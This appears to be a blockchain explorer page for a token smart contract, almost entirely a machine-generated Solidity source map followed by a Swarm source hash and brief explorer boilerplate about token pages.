5::::0;13807:7:::1;1840::::0;1867:6;-1:-1:-1;;;;;1867:6:0;;1802:79;13807:7:::1;13815:15;13711:120;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;13854:4:0::1;13844:7;:14:::0;;;13869:8:::1;:15:::0;-1:-1:-1;13895:11:0::1;:18:::0;;-1:-1:-1;;;;13895:18:0::1;-1:-1:-1::0;;;13895:18:0::1;::::0;;13502:419::o;2172:244::-;1929:6;;-1:-1:-1;;;;;1929:6:0;1239:10;1929:22;1921:67;;;;-1:-1:-1;;;1921:67:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;2261:22:0;::::1;2253:73;;;::::0;-1:-1:-1;;;2253:73:0;;7605:2:1;2253:73:0::1;::::0;::::1;7587:21:1::0;7644:2;7624:18;;;7617:30;7683:34;7663:18;;;7656:62;-1:-1:-1;;;7734:18:1;;;7727:36;7780:19;;2253:73:0::1;7403:402:1::0;2253:73:0::1;2363:6;::::0;;2342:38:::1;::::0;-1:-1:-1;;;;;2342:38:0;;::::1;::::0;2363:6;::::1;::::0;2342:38:::1;::::0;::::1;2391:6;:17:::0;;-1:-1:-1;;;;;;2391:17:0::1;-1:-1:-1::0;;;;;2391:17:0;;;::::1;::::0;;;::::1;::::0;;2172:244::o;12873:106::-;12924:14;;12916:55;;-1:-1:-1;;;;;12924:14:0;;;;12949:21;12916:55;;;;;12924:14;12916:55;12924:14;12916:55;12949:21;12924:14;12916:55;;;;;;;;;;;;;;;;;;;;;12873:106::o;4314:192::-;4400:7;4436:12;4428:6;;;;4420:29;;;;-1:-1:-1;;;4420:29:0;;;;;;;;:::i;:::-;-1:-1:-1;4460:9:0;4472:5;4476:1;4472;:5;:::i;:::-;4460:17;4314:192;-1:-1:-1;;;;;4314:192:0:o;9687:1374::-;9796:6;;9776:4;;9796:6;;9793:60;;;9812:38;9827:6;9835;9843;9812:14;:38::i;:::-;9805:45;;;;9793:60;-1:-1:-1;;;;;9869:22:0;;;;;;:14;:22;;;;;;;;9868:23;:50;;;;-1:-1:-1;;;;;;9896:22:0;;;;;;:14;:22;;;;;;;;9895:23;9868:50;9865:127;;;9942:14;;-1:-1:-1;;;9942:14:0;;;;9934:46;;;;-1:-1:-1;;;9934:46:0;;8145:2:1;9934:46:0;;;8127:21:1;8184:2;8164:18;;;8157:30;-1:-1:-1;;;8203:18:1;;;8196:50;8263:18;;9934:46:0;7943:344:1;9934:46:0;-1:-1:-1;;;;;10034:22:0;;;;;;:14;:22;;;;;;;;10033:23;:50;;;;-1:-1:-1;;;;;;10060:23:0;;10078:4;10060:23;;10033:50;:78;;;;-1:-1:-1;;;;;;10088:23:0;;5221:42;10088:23;;10033:78;:96;;;;-1:-1:-1;10125:4:0;;-1:-1:-1;;;;;10115:14:0;;;10125:4;;10115:14;;10033:96;:119;;;;-1:-1:-1;10143:9:0;;-1:-1:-1;;;;;10133:19:0;;;10143:9;;10133:19;;10033:119;:147;;;;-1:-1:-1;10166:14:0;;-1:-1:-1;;;;;10156:24:0;;;10166:14;;10156:24;;10033:147;:176;;;;-1:-1:-1;;;;;;10185:24:0;;;;;;:16;:24;;;;;;;;10184:25;10033:176;10029:365;;;-1:-1:-1;;;;;8476:18:0;;10225;8476;;;:9;:18;;;;;;10311:15;;10287:19;10300:6;8476:18;10287:19;:::i;:::-;10286:40;;10278:114;;;;-1:-1:-1;;;10278:114:0;;8624:2:1;10278:114:0;;;8606:21:1;8663:2;8643:18;;;8636:30;8702:34;8682:18;;;8675:62;8773:32;8753:18;;;8746:60;8823:19;;10278:114:0;8422:426:1;10278:114:0;10210:184;10029:365;10406:28;10419:6;10427;10406:12;:28::i;:::-;10448:16;:14;:16::i;:::-;10445:35;;;10467:10;:8;:10::i;:::-;10501:4;;-1:-1:-1;;;;;10501:4:0;;;10493:12;;;;10490:199;;-1:-1:-1;;;;;10524:24:0;;;;;;:16;:24;;;;;;;;10521:90;;;-1:-1:-1;;;;;10568:17:0;;;;;;:9;:17;;;;;;:29;;10590:6;10568:21;:29::i;:::-;-1:-1:-1;;;;;10550:17:0;;;;;;:9;:17;;;;;:47;-1:-1:-1;10605:4:0;10598:11;;10521:90;10633:11;;10625:52;;-1:-1:-1;;;;;10633:11:0;;;;10655:21;10625:52;;;;;10633:11;10625:52;10633:11;10625:52;10655:21;10633:11;10625:52;;;;;;;;;;;;;;;;;;;;;10490:199;10719:53;;;;;;;;;;;-1:-1:-1;;;10719:53:0;;;;;;;;-1:-1:-1;;;;;10719:17:0;;-1:-1:-1;10719:17:0;;;:9;:17;;;;;;;;:53;;10741:6;;10719:21;:53::i;:::-;-1:-1:-1;;;;;10699:17:0;;;;;;:9;:17;;;;;;;;:73;;;;10809:16;:24;;;;;;;;;:52;;-1:-1:-1;;;;;;10837:24:0;;;;;;:16;:24;;;;;;;;10809:52;10808:97;;10874:31;10882:6;10890;10898;10874:7;:31::i;:::-;10808:97;;;10865:6;10808:97;-1:-1:-1;;;;;10936:17:0;;;;;;:9;:17;;;;;;10783:122;;-1:-1:-1;10936:37:0;;10783:122;10936:21;:37::i;:::-;-1:-1:-1;;;;;10916:17:0;;;;;;;:9;:17;;;;;;;:57;;;;10991:40;;;;;;-1:-1:-1;;;;;;;;;;;10991:40:0;;;11016:14;160:25:1;;148:2;133:18;;14:177;10991:40:0;;;;;;;;-1:-1:-1;11049:4:0;;9687:1374;-1:-1:-1;;;;9687:1374:0:o;3985:181::-;4043:7;;4075:5;4079:1;4075;:5;:::i;:::-;4063:17;;4104:1;4099;:6;;4091:46;;;;-1:-1:-1;;;4091:46:0;;9055:2:1;4091:46:0;;;9037:21:1;9094:2;9074:18;;;9067:30;9133:29;9113:18;;;9106:57;9180:18;;4091:46:0;8853:351:1;4512:250:0;4570:7;4594:1;4599;4594:6;4590:47;;-1:-1:-1;4624:1:0;4617:8;;4590:47;4649:9;4661:5;4665:1;4661;:5;:::i;:::-;4649:17;-1:-1:-1;4694:1:0;4685:5;4689:1;4649:17;4685:5;:::i;:::-;:10;4677:56;;;;-1:-1:-1;;;4677:56:0;;9584:2:1;4677:56:0;;;9566:21:1;9623:2;9603:18;;;9596:30;9662:34;9642:18;;;9635:62;-1:-1:-1;;;9713:18:1;;;9706:31;9754:19;;4677:56:0;9382:397:1;4768:132:0;4826:7;4853:39;4857:1;4860;4853:39;;;;;;;;;;;;;;;;;:3;:39::i;4172:136::-;4230:7;4257:43;4261:1;4264;4257:43;;;;;;;;;;;;;;;;;:3;:43::i;11070:330::-;11200:53;;;;;;;;;;;-1:-1:-1;;;11200:53:0;;;;;;;;-1:-1:-1;;;;;11200:17:0;;11163:4;11200:17;;;:9;:17;;;;;;;:53;;11222:6;;11200:21;:53::i;:::-;-1:-1:-1;;;;;11180:17:0;;;;;;;:9;:17;;;;;;:73;;;;11287:20;;;;;;;:32;;11312:6;11287:24;:32::i;:::-;-1:-1:-1;;;;;11264:20:0;;;;;;;:9;:20;;;;;;;:55;;;;11335:35;;;;;;-1:-1:-1;;;;;;;;;;;11335:35:0;;;11363:6;160:25:1;;148:2;133:18;;14:177;11335:35:0;;;;;;;;-1:-1:-1;11388:4:0;11070:330;;;;;:::o;11408:167::-;11505:12;;11495:6;:22;;:50;;;-1:-1:-1;;;;;;11521:24:0;;;;;;:16;:24;;;;;;;;11495:50;11487:80;;;;-1:-1:-1;;;11487:80:0;;9986:2:1;11487:80:0;;;9968:21:1;10025:2;10005:18;;;9998:30;-1:-1:-1;;;10044:18:1;;;10037:47;10101:18;;11487:80:0;9784:341:1;11487:80:0;11408:167;;:::o;12664:197::-;12751:4;;12713;;-1:-1:-1;;;;;12751:4:0;12737:10;:18;;;;:38;;-1:-1:-1;12769:6:0;;;;12768:7;12737:38;:62;;;;-1:-1:-1;12788:11:0;;-1:-1:-1;;;12788:11:0;;;;12737:62;:116;;;;-1:-1:-1;;12840:13:0;;12830:4;12812:24;;;;:9;:24;;;;;;:41;;;12664:197::o;14080:1719::-;7058:6;:13;;-1:-1:-1;;7058:13:0;7067:4;7058:13;;;14170:8:::1;::::0;14180:19:::1;::::0;7058:6;;14159:41:::1;::::0;:10:::1;:41::i;:::-;:60;;14207:12;;14159:60;;;14203:1;14159:60;14129:90;;14230:23;14256:59;14313:1;14256:52;14299:8;;14256:38;14274:19;14256:13;;:17;;:38;;;;:::i;:59::-;14230:85;;14326:20;14349:34;14367:15;14349:13;;:17;;:34;;;;:::i;:::-;14420:16;::::0;;14434:1:::1;14420:16:::0;;;;;::::1;::::0;;14326:57;;-1:-1:-1;14396:21:0::1;::::0;14420:16;;::::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;14420:16:0::1;14396:40;;14465:4;14447;14452:1;14447:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;14447:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;:23;14491:4:::1;::::0;14481:7;;14491:4;::::1;::::0;14481;;14491;;14481:7;::::1;;;;;:::i;:::-;-1:-1:-1::0;;;;;14481:14:0;;::::1;:7;::::0;;::::1;::::0;;;;;:14;14566:6:::1;::::0;:188:::1;::::0;-1:-1:-1;;;14566:188:0;;14532:21:::1;::::0;14566:6;;;::::1;::::0;:57:::1;::::0;:188:::1;::::0;14638:12;;14508:21:::1;::::0;14681:4;;14708::::1;::::0;14728:15:::1;::::0;14566:188:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;14767:17;14787:40;14813:13;14787:21;:25;;:40;;;;:::i;:::-;14767:60:::0;-1:-1:-1;14840:19:0::1;14862:40;14875:26;:19:::0;14899:1:::1;14875:23;:26::i;:::-;14862:8;::::0;;:12:::1;:40::i;:::-;14840:62:::0;-1:-1:-1;14923:26:0::1;14952:58;15008:1;14952:51;14840:62:::0;14952:51;:9;14966:19;14952:13:::1;:34::i;:58::-;14923:87;;15021:26;15050:44;15082:11;15050:27;15064:12;;15050:9;:13;;:27;;;;:::i;:44::-;15021:73;;15105:24;15132:42;15162:11;15132:25;15146:10;;15132:9;:13;;:25;;;;:::i;:42::-;15105:69;;15185:20;15208:38;15234:11;15208:21;15222:6;;15208:9;:13;;:21;;;;:::i;:38::-;15267:14;::::0;15259:52:::1;::::0;15185:61;;-1:-1:-1;;;;;;15267:14:0::1;::::0;15259:52;::::1;;;::::0;15292:18;;15267:14:::1;15259:52:::0;15267:14;15259:52;15292:18;15267:14;15259:52;::::1;;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;15330:11:0::1;::::0;15322:43:::1;::::0;-1:-1:-1;;;;;15330:11:0;;::::1;::::0;15322:43;::::1;;;::::0;15352:12;;15330:11:::1;15322:43:::0;15330:11;15322:43;15352:12;15330:11;15322:43;::::1;;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;15384:12:0::1;::::0;15376:48:::1;::::0;-1:-1:-1;;;;;15384:12:0;;::::1;::::0;15376:48;::::1;;;::::0;15407:16;;15384:12:::1;15376:48:::0;15384:12;15376:48;15407:16;15384:12;15376:48;::::1;;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;15440:19:0;;15437:355:::1;;15475:6;;;;;;;;;-1:-1:-1::0;;;;;15475:6:0::1;-1:-1:-1::0;;;;;15475:22:0::1;;15505:18;15551:4;15575:15;15609:1;15629::::0;15649:14:::1;;;;;;;;;-1:-1:-1::0;;;;;15649:14:0::1;15682:15;15475:237;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;15732:48:0::1;::::0;;11553:25:1;;;11609:2;11594:18;;11587:34;;;15732:48:0::1;::::0;-1:-1:-1;11526:18:1;15732:48:0::1;;;;;;;15437:355;-1:-1:-1::0;;7076:6:0;:14;;-1:-1:-1;;7076:14:0;;;-1:-1:-1;;;;;;;;;14080:1719:0:o;11710:946::-;11868:4;;11796:7;;;;-1:-1:-1;;;;;11868:4:0;;;11855:17;;;;11852:136;;-1:-1:-1;11899:8:0;;11852:136;;;11938:4;;-1:-1:-1;;;;;11938:4:0;;;11928:14;;;;11925:63;;-1:-1:-1;11969:7:0;;11925:63;12000:17;12020:59;12058:14;;12075:3;12058:20;;;;:::i;:::-;12020:33;12045:7;12020:20;12031:8;;12020:6;:10;;:20;;;;:::i;:59::-;12000:79;;12090:18;12111:36;12138:8;;12111:22;12125:7;;12111:9;:13;;:22;;;;:::i;:36::-;12090:57;-1:-1:-1;12158:22:0;12183:25;:9;12090:57;12183:13;:25::i;:::-;12264:4;12246:24;;;;:9;:24;;;;;;12158:50;;-1:-1:-1;12246:44:0;;12158:50;12246:28;:44::i;:::-;12237:4;12219:24;;;;:9;:24;;;;;;:71;;;;12334:9;;-1:-1:-1;;;;;12334:9:0;12324:20;;;;:36;;12349:10;12324:24;:36::i;:::-;12311:9;;-1:-1:-1;;;;;12311:9:0;;;12301:20;;;;:9;:20;;;;;;;;;:59;;;;12376:47;160:25:1;;;12401:4:0;;12376:47;;;;-1:-1:-1;;;;;;;;;;;12376:47:0;133:18:1;12376:47:0;;;;;;;12457:14;;12454:154;;12502:12;;:28;;12519:10;12502:16;:28::i;:::-;12487:12;:43;12550:34;;160:25:1;;;5294:42:0;;-1:-1:-1;;;;;12550:34:0;;;-1:-1:-1;;;;;;;;;;;12550:34:0;148:2:1;133:18;12550:34:0;;;;;;;12454:154;12627:21;:6;12638:9;12627:10;:21::i;:::-;12620:28;11710:946;-1:-1:-1;;;;;;;;11710:946:0:o;4906:189::-;4992:7;5027:12;5020:5;5012:28;;;;-1:-1:-1;;;5012:28:0;;;;;;;;:::i;:::-;-1:-1:-1;5051:9:0;5063:5;5067:1;5063;:5;:::i;196:548:1:-;308:4;337:2;366;355:9;348:21;398:6;392:13;441:6;436:2;425:9;421:18;414:34;466:1;476:140;490:6;487:1;484:13;476:140;;;585:14;;;581:23;;575:30;551:17;;;570:2;547:26;540:66;505:10;;476:140;;;480:3;665:1;660:2;651:6;640:9;636:22;632:31;625:42;735:2;728;724:7;719:2;711:6;707:15;703:29;692:9;688:45;684:54;676:62;;;;196:548;;;;:::o;749:131::-;-1:-1:-1;;;;;824:31:1;;814:42;;804:70;;870:1;867;860:12;885:315;953:6;961;1014:2;1002:9;993:7;989:23;985:32;982:52;;;1030:1;1027;1020:12;982:52;1069:9;1056:23;1088:31;1113:5;1088:31;:::i;:::-;1138:5;1190:2;1175:18;;;;1162:32;;-1:-1:-1;;;885:315:1:o;1397:456::-;1474:6;1482;1490;1543:2;1531:9;1522:7;1518:23;1514:32;1511:52;;;1559:1;1556;1549:12;1511:52;1598:9;1585:23;1617:31;1642:5;1617:31;:::i;:::-;1667:5;-1:-1:-1;1724:2:1;1709:18;;1696:32;1737:33;1696:32;1737:33;:::i;:::-;1397:456;;1789:7;;-1:-1:-1;;;1843:2:1;1828:18;;;;1815:32;;1397:456::o;1858:523::-;1962:6;1970;1978;1986;1994;2002;2055:3;2043:9;2034:7;2030:23;2026:33;2023:53;;;2072:1;2069;2062:12;2023:53;-1:-1:-1;;2095:23:1;;;2165:2;2150:18;;2137:32;;-1:-1:-1;2216:2:1;2201:18;;2188:32;;2267:2;2252:18;;2239:32;;-1:-1:-1;2318:3:1;2303:19;;2290:33;;-1:-1:-1;2370:3:1;2355:19;2342:33;;-1:-1:-1;1858:523:1;-1:-1:-1;1858:523:1:o;2386:180::-;2445:6;2498:2;2486:9;2477:7;2473:23;2469:32;2466:52;;;2514:1;2511;2504:12;2466:52;-1:-1:-1;2537:23:1;;2386:180;-1:-1:-1;2386:180:1:o;2760:247::-;2819:6;2872:2;2860:9;2851:7;2847:23;2843:32;2840:52;;;2888:1;2885;2878:12;2840:52;2927:9;2914:23;2946:31;2971:5;2946:31;:::i;3220:248::-;3288:6;3296;3349:2;3337:9;3328:7;3324:23;3320:32;3317:52;;;3365:1;3362;3355:12;3317:52;-1:-1:-1;;3388:23:1;;;3458:2;3443:18;;;3430:32;;-1:-1:-1;3220:248:1:o;3473:388::-;3541:6;3549;3602:2;3590:9;3581:7;3577:23;3573:32;3570:52;;;3618:1;3615;3608:12;3570:52;3657:9;3644:23;3676:31;3701:5;3676:31;:::i;:::-;3726:5;-1:-1:-1;3783:2:1;3768:18;;3755:32;3796:33;3755:32;3796:33;:::i;:::-;3848:7;3838:17;;;3473:388;;;;;:::o;4092:356::-;4294:2;4276:21;;;4313:18;;;4306:30;4372:34;4367:2;4352:18;;4345:62;4439:2;4424:18;;4092:356::o;4453:127::-;4514:10;4509:3;4505:20;4502:1;4495:31;4545:4;4542:1;4535:15;4569:4;4566:1;4559:15;4585:217;4625:1;4651;4641:132;;4695:10;4690:3;4686:20;4683:1;4676:31;4730:4;4727:1;4720:15;4758:4;4755:1;4748:15;4641:132;-1:-1:-1;4787:9:1;;4585:217::o;5165:184::-;5235:6;5288:2;5276:9;5267:7;5263:23;5259:32;5256:52;;;5304:1;5301;5294:12;5256:52;-1:-1:-1;5327:16:1;;5165:184;-1:-1:-1;5165:184:1:o;5633:277::-;5700:6;5753:2;5741:9;5732:7;5728:23;5724:32;5721:52;;;5769:1;5766;5759:12;5721:52;5801:9;5795:16;5854:5;5847:13;5840:21;5833:5;5830:32;5820:60;;5876:1;5873;5866:12;5915:251;5985:6;6038:2;6026:9;6017:7;6013:23;6009:32;6006:52;;;6054:1;6051;6044:12;6006:52;6086:9;6080:16;6105:31;6130:5;6105:31;:::i;6480:607::-;-1:-1:-1;;;;;6839:15:1;;;6821:34;;6886:2;6871:18;;6864:34;;;;6929:2;6914:18;;6907:34;;;;6972:2;6957:18;;6950:34;;;;7021:15;;;7015:3;7000:19;;6993:44;6801:3;7053:19;;7046:35;;;;6770:3;6755:19;;6480:607::o;7092:306::-;7180:6;7188;7196;7249:2;7237:9;7228:7;7224:23;7220:32;7217:52;;;7265:1;7262;7255:12;7217:52;7294:9;7288:16;7278:26;;7344:2;7333:9;7329:18;7323:25;7313:35;;7388:2;7377:9;7373:18;7367:25;7357:35;;7092:306;;;;;:::o;7810:128::-;7877:9;;;7898:11;;;7895:37;;;7912:18;;:::i;8292:125::-;8357:9;;;8378:10;;;8375:36;;;8391:18;;:::i;9209:168::-;9282:9;;;9313;;9330:15;;;9324:22;;9310:37;9300:71;;9351:18;;:::i;10262:127::-;10323:10;10318:3;10314:20;10311:1;10304:31;10354:4;10351:1;10344:15;10378:4;10375:1;10368:15;10394:980;10656:4;10704:3;10693:9;10689:19;10735:6;10724:9;10717:25;10761:2;10799:6;10794:2;10783:9;10779:18;10772:34;10842:3;10837:2;10826:9;10822:18;10815:31;10866:6;10901;10895:13;10932:6;10924;10917:22;10970:3;10959:9;10955:19;10948:26;;11009:2;11001:6;10997:15;10983:29;;11030:1;11040:195;11054:6;11051:1;11048:13;11040:195;;;11119:13;;-1:-1:-1;;;;;11115:39:1;11103:52;;11210:15;;;;11175:12;;;;11151:1;11069:9;11040:195;;;-1:-1:-1;;;;;;;11291:32:1;;;;11286:2;11271:18;;11264:60;-1:-1:-1;;;11355:3:1;11340:19;11333:35;11252:3;10394:980;-1:-1:-1;;;10394:980:1:o
Swarm Source
ipfs://8681cf2b189356add1801411720809f18f98dfffa8de8ec03a95a952d622bc15
Loading...
Loading
Loading...
Loading
[ Download: CSV Export ]
[ Download: CSV Export ]
A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.